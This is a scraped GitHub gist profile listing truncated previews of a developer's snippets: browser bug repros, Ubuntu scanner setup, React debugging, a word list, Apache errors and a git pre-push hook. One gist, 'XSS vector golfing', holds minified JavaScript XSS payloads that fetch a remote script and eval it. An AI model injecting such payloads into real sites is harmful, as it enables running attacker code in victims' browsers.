Skip to content

Instantly share code, notes, and snippets.


Alexander Prinzhorn Prinzhorn

View GitHub Profile
Prinzhorn / index.js
Last active Jan 1, 2020
Internet Explorer 11 Blob from DataView throws InvalidStateError
View index.js
var buffer = new ArrayBuffer(8);
var left = new DataView(buffer, 0, 4);
try {
//Throws InvalidStateError in IE 11.
//It does work if we use a specific view like Uint8Array and not the generic DataView contructor.
new Blob([left]);
} catch(ex) {
Prinzhorn /
Last active Apr 4, 2019
Ubuntu scanner Samsung SCX-3405

Find printer IP

lpinfo  -v

Replace the USB entry with TCP

nano /etc/sane.d/xerox_mfp.conf
Prinzhorn / index.js
Created Sep 18, 2015
Quick and dirty way to debug which prop/state changes caused react update
View index.js
componentDidUpdate: function(prevProps, prevState) {
var differentProps = {};
var differentState = {};
var k;
for(k in prevProps) {
if(prevProps[k] !== this.props[k]) {
differentProps[k] = [prevProps[k], this.props[k]];
Prinzhorn /
Created Apr 24, 2018
Intel NUC skull canyon Ubuntu audio input microphone headset recording
Prinzhorn / levenshtein-3-beer.txt
Created Jan 13, 2018
Words with a distance of <= 3 to "beer"
View levenshtein-3-beer.txt
peng 3
bebop 3
gar 3
newt 3
ref 3
yeven 3
bats 3
boles 3
kea 3
urger 3
Prinzhorn / xss-golf.js
Last active Jul 26, 2017
XSS vector golfing
View xss-golf.js
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);"GET", "//*");a.send();
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*");send()}
Prinzhorn / output
Created Jul 13, 2017
Apache 2 in a folder from command line
View output
(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80
(13)Permission denied: AH00072: make_sock: could not bind to address
no listening sockets available, shutting down
AH00015: Unable to open logs
View index.html
<!DOCTYPE html>
<meta charset="utf-8">
<svg width="500" height="500">
<clipPath id="clippy1"></clipPath>
<clipPath id="clippy2"></clipPath>
<clipPath id="clippy3"></clipPath>
Prinzhorn /
Last active Nov 5, 2016
Conditional rendering handler for Epoxy.js

Similar to the toggle handler, but it will detach the element from the DOM instead of just hiding it. Much like knockout's if binding.


<div data-bind="if: someCondition"></div>

where someCondition can of course also be a computed property, so this gives you all flexibility you need.

Prinzhorn / pre-push
Created Nov 11, 2013
pre-push hook to prevent pushing when untracked files are present. i.e. breaking your production server because you forgot to add a new file in your commit and the tests run locally inside the repo.
View pre-push
git status --porcelain | grep '^??'
#grep exits with 0 when a match is found.
if [ $rc = 0 ] ; then
echo "Untracked files present. Aborting push.";
exit 1;
You can’t perform that action at this time.